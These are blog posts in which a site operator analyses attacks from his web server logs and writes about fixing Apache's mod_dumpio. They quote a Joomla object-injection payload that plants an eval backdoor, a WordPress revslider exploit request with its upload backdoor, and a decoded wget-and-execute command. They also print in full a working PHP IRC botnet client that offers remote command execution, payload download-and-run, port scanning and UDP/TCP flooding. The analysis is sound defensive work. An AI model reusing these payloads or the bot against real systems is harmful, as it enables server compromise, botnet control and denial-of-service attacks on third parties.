An interesting injection attach via the HTTP user agent string

Looking at my web server logs this morning I noticed a new attack signature. The attacker performs a “GET /” with this “User-Agent” header:

}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:239:\"file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"shootme.php\",\"|=|\\x3C\".chr(63).\"php \\x24mujj=\\x24_POST['360'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\"\\\\\\x24safedg=\\x24xsser;\\\");}\");JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}~\xd9

It’s obviously a code injection attack. Googling tells me this attack was first documented in December 2015 such as in this writeup. It’s an attempt to inject code via a Joomla CMS vulnerability. I don’t use Joomla so this doesn’t affect my site.

I already had some Apache HTTPD rules to protect against malicious user agent strings including one to detect if it begins with a left bracket:

RewriteCond %{HTTP_USER_AGENT} ^\[ [OR]

Noticing this attack suggests that generalizing that rule would be helpful. So my Apache config now contains this instead:

# If first char isn't an alphanumeric or underscore it's quite possibly an
# attempt to inject code.
RewriteCond %{HTTP_USER_AGENT} ^\W [OR]

The malware a recent attack against the WordPress revslider plugin attempted to install

I’ve been seeing attempts to exploit bugs in the WordPress revslider plugin for a very long time. But all of the attacks that utilize a POST request have attempted to upload a Zip archive. And a bug in the mod_dumpio module meant I was unable to extract the contents of those zip files. Having just fixed the mod_dumpio module I was able to capture one of those zip archives. The attack was from a server at namecheaphosting.com (I’ve elided the binary zip data):

POST /tag/php/wp-admin/admin-ajax.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Length: 1122
Content-Type: multipart/form-data; boundary=xYzZY
Cookie:

--xYzZY
Content-Disposition: form-data; name="action"

revslider_ajax_action
--xYzZY
Content-Disposition: form-data; name="client_action"

update_plugin
--xYzZY
Content-Disposition: form-data; name="update_file"; filename="revslider.zip"
Content-Type: application/zip

PK…
--xYzZY--

And the contents of the uploaded zip file was a single file named revslider/dor.libs.php with the following content. As you can see it’s a poorly written minimalist backdoor.

<?php
echo "<title>RevSlideR 2015</title><br><br>";
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[Safe-mode:".$hsafemode."] 7 [OS:".$os."]";
echo "<center> ".$xos." </center><br>";

if(isset($_GET['x'])){
echo "<title>PiNDaH 2015</title><br><br>";
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/default.php";
copy($source, $desti);
}

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

A fix for the Apache mod_dumpio module not dumping null bytes

Two weeks ago I wrote about my surprise in learning that the Apache mod_dumpio module does not dump null (i.e., zero) bytes. That shortcoming makes it difficult to analyze attacks that involve binary data such as Zip archives. That a module which claims to log all the data sent to or from an Apache web server does not actually do so is rather surprising and exasperating. Especially since the module has been around for at least nine years (earliest reference I could find was October 2006).

As recently as April 2015 someone with a Ph.D. posted on the SANS ISC forums that the Apache dumpio module could be used to log all data. It’s hard to believe that seemingly serious and highly credentialed security researchers have not noticed this module does not log all the data that passes through it. Or, for that matter, that no one else has noticed and fixed this problem in the decade since Jim Jagielski published this module.

I decided to fix this bug. Mostly because I wanted to see what the hackers were trying to upload to my server as a Zip archive in an attempt to exploit WordPress “revslider” plugin vulnerabilities. I intend to submit this updated mod_dumpio.c source code to the Apache project. In the meantime you can download it from here. If you want to install this under HomeBrew on Mac OS X send an email to krader@skepticism.us and I’ll provide guidance.

Update 2015-10-04: This Python program, error_log_data_extract, is what I use to extract and decode the data logged by the mod_dumpio module that I fixed to correctly handle null bytes. This makes it trivial to reconstruct the entire request of an attack including binary data such as Zip archives.

Attack that tries to install wp-infos.php via POST /controllers/uploader/upload.php

I saw another novel attack today. What makes this one particularly interesting is that the first request was an attempt to upload a file named /wp-infos.php. It did so via a

POST /controllers/uploader/upload.php

request. That path might be an alternate for the ninja uploader vulnerability I wrote about yesterday.

The attacker then issued a

GET /wp-infos.php?osc=cm0gLXJmIHp1Yi4qOyBybSAtcmYgbWFyaW5hYnkqOyB3Z2V0IGh0dHA6Ly93d3cuYWVzbWkucHQvbW9vZGxlL2NhbGVuZGFyL3dwLWVuZ2luZS5id2U7IG12IHdwLWVuZ2luZS5id2UgenViLnBocDsgY2htb2QgNzc3IHp1Yi5waHA7IHBocCB6dWIucGhwOyBybSAtcmYgenViLio=

The value for the osc parameter is base64 encoded and decodes to:

rm -rf zub.*; rm -rf marinaby*; wget http://www.aesmi.pt/moodle/calendar/wp-engine.bwe; mv wp-engine.bwe zub.php; chmod 777 zub.php; php zub.php; rm -rf zub.*

I fetched the URI hosted on www.aesmi.pt using curl and to my surprise it was the exact same PHP script the attacker believed they had just installed on my system. Literally byte for byte identical.

Below you’ll find the 855 line PHP script the attacker attempted to install. There are a couple of things worth pointing out. The server this script attempts to connect to is at IP address 78.140.173.43 which has hostname v-5-509-d4122-43.webazilla.com (although the backdoor implements a “moveserver” command to allow the person controlling this bot to change the server). The “chan” is the typical hacker value “1x33x7”.

<?php
  set_time_limit( 0 );
  error_reporting( 0 );
  echo "Success!";

  class pBot
  {
    var $using_encode = true;

    var $config = array(
      'server'   => 'NzguMTQwLjE3My40Mw==',  //server here (base64)
      'port'    => 9595,
      'chan'    => 'MXgzM3g3',    //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
      'key'    => '',
      'nickform'  => 'logging[%d]',
      'identp'  => 'darxs',
      'modes'    => '+p',
      'maxrand'  => 6,
      'cprefix'  => '!',
      'host'    => 'Peter@'
    );

    var $admins = array
    (
      'LND-Bloodman' => '2cbd62e679d89acf7f1bfc14be08b045' // pass = "lol_dont_try_cracking_12char+_:P"
      //passes are MD5 format, you can also have multiple admins
    );

    function auth_host( $nick, $password, $host )
    {
      $admin_count = count( $this->admins );
      if( $admin_count > 0 )
      {
        $mpass = md5( $password );
        if( $this->admins[ $nick ] == $mpass )
        {
          $this->users[ $host ] = true;
        }
      }
      else
      {
        $this->users[ $host ] = true;
      }
    }

    function is_authed( $host )
    {
      return isset( $this->users[ $host ] );
    }

    function remove_auth( $host )
    {
      unset( $this->users[ $host ] );
    }

    function ex( $cfe )
    {
      $res = '';
      if (!empty($cfe))
      {
        if(function_exists('class_exists') && class_exists('Perl'))
        {
          $perl = new Perl();
          $perl->eval( "system('$cfe');" );
        }
        if(function_exists('exec'))
        {
          @exec($cfe,$res);
          $res = join("\n",$res);
        }
        elseif(function_exists('shell_exec'))
        {
          $res = @shell_exec($cfe);
        }
        elseif(function_exists('system'))
        {
          @ob_start();
          @system($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('passthru'))
        {
          @ob_start();
          @passthru($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('proc_open'))
        {
          $res = proc_open($cfe);
        }
        elseif(@is_resource($f = @popen($cfe,"r")))
        {
          $res = "";
          while(!@feof($f)) { $res .= @fread($f,1024); }
          @pclose($f);
        }
      }
      return $res;
    }

    function is_safe( )
    {
      if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
      {
        return 0;
      }
      return 1;
    }

    function get_chan( )
    {
      if( $this->using_encode )
      {
        return '#'.base64_decode( $this->config[ 'chan' ] );
      }
      else
      {
        return '#'.$this->config[ 'chan' ];
      }
    }

    function start()
    {
      if( $this->using_encode )
      {
        if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }
      else
      {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }

      $ident = $this->config['prefix'];
      $alph = range("0","9");
      for( $i=0; $i < $this->config['maxrand']; $i++ )
      {
        $ident .= $alph[rand(0,9)];
      }

      if( strlen( $this->config[ 'pass' ] ) > 0 )
      {
        $this->send( "PASS ".$this->config[ 'pass' ] );
      }

      $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
      $this->set_nick( );
      $this->main( );
    }

    function main()
    {
      while(!feof($this->conn))
      {
        $this->buf = trim(fgets($this->conn,512));
        $cmd = explode(" ",$this->buf);
        if(substr($this->buf,0,6)=="PING :")
        {
          $this->send("PONG :".substr($this->buf,6));
        }
        if(isset($cmd[1]) && $cmd[1] =="001")
        {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);

          if( $this->using_encode )
          {
            $this->join($this->get_chan( ),base64_decode($this->config['key']));
          }
          else
          {
            $this->join($this->get_chan( ),$this->config['key']);
          }

          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
        }
        if(isset($cmd[1]) && $cmd[1]=="433")
        {
          $this->set_nick();
        }
        if($this->buf != $old_buf)
        {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
            switch($cmd[1])
            {
              case "QUIT":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PART":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PRIVMSG":
                if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
                {
                  if( $this->is_authed( $host ) == false )
                  {
                    switch( substr( $mcmd[ 0 ], 1 ) )
                    {
                      case "auth":
                      {
                        $this->auth_host( $nick, $mcmd[ 1 ], $host );
                        if( $this->is_authed( $host ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
                        }
                        break;
                      }
                    }
                  }
                  else
                  {
                    switch(substr($mcmd[0],1))
                    {
                      case "exec":
                      {
                        if( !$this->is_safe( ) )
                        {
                          $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                          $returndata = $this->ex( $command );
                          if( !empty( $returndata ) )
                          {
                            $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
                          }
                        }
                        break;
                      }
                      case "info":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
                        break;
                      }
                      case "safe":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                        break;
                      }
                      case "uname":
                      {
                        $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
                        break;
                      }
                      case "perl":
                      {
                        if( $this->is_safe( ) )
                        {
                          $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
                          break;
                        }

                        $perl_file = $mcmd[1];

                        if( !empty( $perl_file ) )
                        {
                          $parsed_url = $this->parse_url_s( $perl_file );

                          $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
                          $new_local   = $parsed_url[ 'file' ];
                          $file_type  = $parsed_url[ 'file_ext' ];

                          $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
                          $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');

                          $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
                          break;
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
                        break;
                      }
                      case "ip":
                      {
                        $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
                        break;
                      }
                      case "rfi":
                      {
                        $fileUrl = $mcmd[1];

                        if( !empty( $fileUrl ) )
                        {
                          $urli = parse_url( $fileUrl );

                          if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
                          {
                            $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );

                            if( $fp )
                            {
                              $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
                              $out .= "Host: ".$urli['host']."\r\n";
                              $out .= "Keep-Alive: 300\r\n";
                              $out .= "Connection: keep-alive\r\n\r\n";
                              fwrite( $fp, $out );

                              $get_data = '';

                              while(!feof($fp))
                              { $get_data .= fgets( $fp, 256 ); }

                              $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
                              break;
                            }
                          }
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
                        break;
                      }
                      case "base64":
                      {
                        $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        switch( $mcmd[1] )
                        {
                          case "encode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed).
                            break;
                          }
                          case "decode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed).
                            break;
                          }
                        }
                        break;
                      }
                      case "md5":
                      {
                        $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
                        break;
                      }
                      case "dns":
                      {
                        if(isset($mcmd[1]))
                                         {
                                            $ip = explode(".",$mcmd[1]);
                                            if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
                            && is_numeric($ip[2]) && is_numeric($ip[3]))
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd
                                            }
                                            else
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd
                                            }
                                         }
                        break;
                      }
                      case "exit":
                      {
                        fclose( $this->conn );
                        exit( );
                        break;
                      }
                      case "restart":
                      {
                        $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
                        $this->send( "QUIT :restart command from ".$nick );
                        fclose( $this->conn );
                        $this->start();
                        break;
                      }
                      case "bs":
                      {
                        if( $this->is_safe( ) )
                        {
                          ini_restore( "safe_mode" );
                          ini_restore( "open_basedir" );
                        }

                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                          $this->set_nick();
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                      }
                      case "moveserver":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $server = $mcmd[1];
                          $port = $mcmd[2];
                          $channel = $mcmd[3];
                          $key = $mcmd[4];

                          if( $this->using_encode )
                          {
                            $this->config[ 'server' ] = base64_encode( $server );
                            $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
                            $this->config[ 'key' ] = base64_encode( $key );
                          }
                          else
                          {
                            $this->config[ 'server' ] = $server;
                            $this->config[ 'chan' ] = str_replace( "#", "", $channel );
                            $this->config[ 'key' ] = $key;
                          }

                          $this->config[ 'port' ] = $port;
                          $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." =>
                          $this->send( "QUIT :moveserver command from ".$nick );

                          fclose( $this->conn );
                          $this->start();
                        }
                        break;
                      }
                      case "whois":
                      {
                        $param2 = $mcmd[1];

                        if( !empty( $param2 ) )
                        {
                          //do it
                          //http://ws.arin.net/whois/?queryinput=127.0.0.1
                          $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );

                          if( $fp )
                          {
                            $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
                            $out .= "Host: ws.arin.net\r\n";
                            $out .= "Keep-Alive: 300\r\n";
                            $out .= "Connection: keep-alive\r\n\r\n";
                            fwrite( $fp, $out );

                            $whodata = '';
                            while(!feof($fp))
                            {
                              /*do nothing*/
                              $whodata .= fread( $fp, 1024 );
                            }

                            $explk = explode( "<div id=\"content\">", $whodata );
                            $explk = explode( "</div>", $explk[1] );
                            $htmldat = strip_tags( $explk[0] );

                            fclose( $fp );

                            $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );

                          }else{
                            $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
                        }
                        break;
                      }
                      case "upftp":
                      {
                        //ftp://user:password@host.com
                        $pftp = parse_url( $mcmd[1] );
                        $file = $mcmd[2];
                        $dest = $mcmd[3];

                        if( empty( $pftp[ 'host' ] )
                          || empty( $pftp[ 'user' ] )
                          || empty( $pftp[ 'pass' ] )
                          || empty( $file )
                          || empty( $dest ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
                        }
                        else
                        {
                          $conn_id = ftp_connect( $pftp[ 'host' ] );
                          $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );

                          if( ( !$conn_id ) || ( !$login_result ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
                          }
                          else
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user
                            $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
                            if( !$upload )
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
                            }
                            else
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
                              $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
                            }
                          }
                        }
                        break;
                      }
                      case "joinchan":
                      {
                        $channel = $mcmd[1];
                        $key = $mcmd[2];
                        $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
                        $this->join( $channel, $key );
                        break;
                      }
                      case "partchan":
                      {
                        $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
                        $this->send( "PART ".$mcmd[1] );
                      }
                      case "vuln":
                      {
                        $server_name = $_SERVER['SERVER_NAME'];
                        $req_uri = $_SERVER['REQUEST_URI'];

                        if( $server_name != "localhost" && $server_name != "127.0.0.1" )
                        {
                          if( strlen( $server_name ) && strlen( $req_uri ) )
                          {
                            $vuln = "http://".$server_name.$req_uri;
                            $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
                          }
                        }
                        break;
                      }
                      case "download":
                      {
                        if( count( $mcmd ) > 2 )
                        {
                          if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
                          }
                          else
                          {
                            if( !$get = file( $mcmd[ 1 ] ) )
                            {
                              $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
                            }
                            else
                            {
                              for( $i=0; $i <= count( $get ); $i++ )
                              {
                                fwrite( $fp, $get[ $i ] );
                              }
                              $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
                            }
                            fclose( $fp );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
                        }
                        break;
                      }
                      case "pmsg":
                      {
                        $person = $mcmd[1];
                        $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
                        $this->privmsg( $person, $text );
                        break;
                      }
                      case "pscan":
                      {
                        $host = $mcmd[1];
                        $beginport = $mcmd[2];
                        $endport = $mcmd[3];
                        $open_ports = "Open Port List for ".$host.": ";

                        for($i = $beginport; $i < $endport; $i++)
                        {
                          if( $this->scanport( $host, $i ) )
                          {
                            $open_ports .= "|".$i;
                          }
                        }

                        $this->privmsg( $this->get_chan( ), $open_ports );
                        break;
                      }
                      case "software":
                      {
                        $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
                        break;
                      }
                      case "snf":
                      {
                        $this->config[ 'nickform' ] = $mcmd[ 1 ];
                        $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
                        break;
                      }
                      case "randnick":
                      {
                        $this->set_nick();
                        break;
                      }
                      case "unauth":
                      {
                        $this->remove_auth( $host );
                        $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
                        break;
                      }
                      case "urlbomb":
                      {
                        $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
                        break;
                      }
                      case "udpflood":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                        }
                        break;
                      }
                      case "tcpflood":
                      {
                         if( count( $mcmd ) > 5 )
                         {
                           $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                         }
                         break;
                      }
                    }
                  }
                }
              break;
            }
          }
        }
        $old_buf = $this->buf;
      }
      $this->start();
    }

    function scanport( $host, $port )
    {
      if( fsockopen( $host, $port, $e, $s ) )
      {
        return 1;
      }
      return 0;
    }

    function urlbomb( $host, $path, $times, $mode = 0 )
    {
      if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
        return;

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );

      $success = 0;
      for( $i = 0; $i < $times; $i++ )
      {
        $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
        if( $fp )
        {
          $out = "GET /".$path." HTTP/1.1\r\n";
          $out .= "Host: ".$host."\r\n";
          $out .= "Keep-Alive: 300\r\n";
          $out .= "Connection: keep-alive\r\n\r\n";
          fwrite( $fp, $out );

          if( $mode != 0 )
          {
            while(!feof($fp)){/*do nothing*/}
          }

          fclose( $fp );

          $success++;
        }
      }

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
    }

    function udpflood( $host, $packetsize, $time )
    {
      $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time)
      {
        $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
        fwrite($fp,$packet);
        fclose($fp);
        $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
    }

    function tcpflood($host,$packets,$packetsize,$port,$delay)
    {
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++)
        $packet .= chr(mt_rand(1,256));

      for($i=0;$i<$packets;$i++)
      {
        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
          {
          $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
            return 0;
           }
           else
           {
          fwrite($fp,$packet);
          fclose($fp);
        }
           sleep($delay);
      }
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
    }

    function send($msg)
    {
      fwrite($this->conn,"$msg\r\n");
    }

    function join($chan,$key=NULL)
    {
      $this->send("JOIN $chan $key");
    }

    function privmsg($to,$msg)
    {
      $this->send("PRIVMSG $to :$msg");
    }

    function notice($to,$msg)
    {
      $this->send("NOTICE $to :$msg");
    }

     function set_nick()
     {
      $prefix = "[lnx]";
      if(isset($_SERVER['SERVER_SOFTWARE']))
      {
        if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
          $prefix = "[A]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
          $prefix = "[I]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
          $prefix = "[X]";
        else
          $prefix = "[U]";
      }

      if( !$this->is_safe( ) )
      {
        $prefix .= "[win32]";
      }

      $random_number = "";
      for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
      {
        $random_number .= mt_rand( 0, 9 );
      }

      $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
      $this->send("NICK ".$this->nick);
     }

    function parse_url_s( $url )
    {
      $URLpcs = ( parse_url( $url ) );
      $PathPcs = explode( "/", $URLpcs['path'] );
      $URLpcs['file'] = end( $PathPcs );
      unset( $PathPcs[ key( $PathPcs ) ] );
      $URLpcs['dir'] = implode("/",$PathPcs);

      $fileext = explode( '.', $URLpcs['file'] );

      if(count($fileext))
      {
        $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
      }

      return ($URLpcs);
    }
  }

  $bot = new pBot;
  $bot->start();

?>

Apache module dumpio doesn’t dump null (zero) bytes

I’ve been using the Apache mod_dumpio module for almost as long as I’ve been blogging to capture all of the data received by my web server. Doing so is expensive but very useful for analyzing attacks. What I did not realize until today is that mod_dumpio drops (i.e., omits) nul (i.e., null or zero) bytes in the input when it writes that data to the Apache error log.

Looking at the lines written by mod_dumpio in the Apache error log you’ll find plenty of strings such as “\x03” but no instances of “\x00“. Even where such sequences would be expected in the incoming data. I confirmed this by hand-crafting a HTTP request that included null bytes. When I sent that request to my server and looked at the error log the mod_dumpio data contained every byte except the zero (null) bytes.

Using Google to search for various phrases such as “apache dumpio drops zero bytes” and “apache dumpio omits zero bytes” and “mod_dumpio skips null bytes” and many other variations resulted in no indication that anyone has ever noticed this problem. What. The. Fuck.

I first noticed this when I decided to decode the content that malware hackers were attempting to send (e.g., upload) to my web server. I had no difficulty decoding the base64 encoded data that was typical for PHP malware. I had zero success decoding the application/zip encoded data typical for an attempt to exploit the WordPress revslider plugin vulnerabilities. This was not entirely surprising given that mod_dumpio reported that the client said it was sending x bytes yet the data logged by mod_dumpio was much smaller than x bytes in length.

Comparing the data from those attacks to a Zip archive I created showed that the mod_dumpio data contained no null bytes. Something highly unlikely, perhaps impossible, for a legitimate Zip archive. As I mentioned earlier I confirmed this by deliberately sending a request that included null (zero) bytes and confirming that mod_dumpio did not log those bytes.

Time for me to look at the mod_dumpio code and see if I can fix it and convince the Apache community to accept my fix.

Update 2015-09-24:
Shortly after writing the previous sentence I looked at the dumpio.c file and found this comment in the dumpit function:

  /* XXX: Seriously flawed; we do not pay attention to embedded
   * \0's in the request body, these should be escaped; however,
   * the logging function already performs a significant amount
   * of escaping, and so any escaping would be double-escaped.
   * The coding solution is to throw away the current logic
   * within ap_log_error, and introduce new vformatter %-escapes
   * for escaping text, and for binary text (fixed len strings).
   */

The author of this Apache module knew they were omitting data from the log. I applaud them for documenting the fact. I’ve done the same thing many times in my career as a software programmer. Sometimes there just aren’t enough hours in a day to write perfect code. So I cannot hold the author of the module entirely responsible for the problem.

